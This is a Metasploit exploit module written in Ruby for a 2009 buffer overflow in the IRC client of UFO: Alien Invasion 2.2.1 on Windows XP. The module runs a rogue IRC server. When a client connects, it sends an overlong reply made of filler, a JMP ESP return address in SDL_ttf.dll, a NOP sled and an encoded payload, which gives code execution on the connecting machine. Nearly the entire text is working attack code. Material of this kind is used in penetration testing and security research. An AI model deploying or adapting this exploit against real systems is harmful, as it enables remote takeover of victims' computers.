UFO: Alien Invasion IRC Client Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::TcpServer

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'UFO: Alien Invasion IRC Client Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in the IRC client component of
        UFO: Alien Invasion 2.2.1.
      },
      'Author' 	 =>
        [
          'Jason Geffner',  # Original Windows PoC Author
          'dookie'          # MSF Module Author
        ],
      'License'  => MSF_LICENSE,
      'References' =>
        [
          [ 'OSVDB', '65689'],
          [ 'EDB', '14013' ]
        ],
      'Payload' =>
        {
          'Space' => 400,
          'BadChars' => "\x00\x0a\x0d",
          'MaxNops' => 0,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP Universal', { 'Ret' => 0x0AE59A43 } ], # JMP ESP in SDL_ttf.dll
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2009-10-28'))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The IRC daemon port to listen on", 6667 ]),
      ])

  end

  def on_client_connect(client)

    return if ((p = regenerate_payload(client)) == nil)

    print_status("Got client connection...")

    buffer = "001 :"
    buffer << rand_text_alpha_upper(552)
    buffer << [ target.ret ].pack('V')
    buffer << make_nops(8)
    buffer << payload.encoded
    buffer << "\x0d\x0a"

    print_status("Sending exploit to #{client.peerhost}:#{client.peerport}...")

    client.put(buffer)

  end
end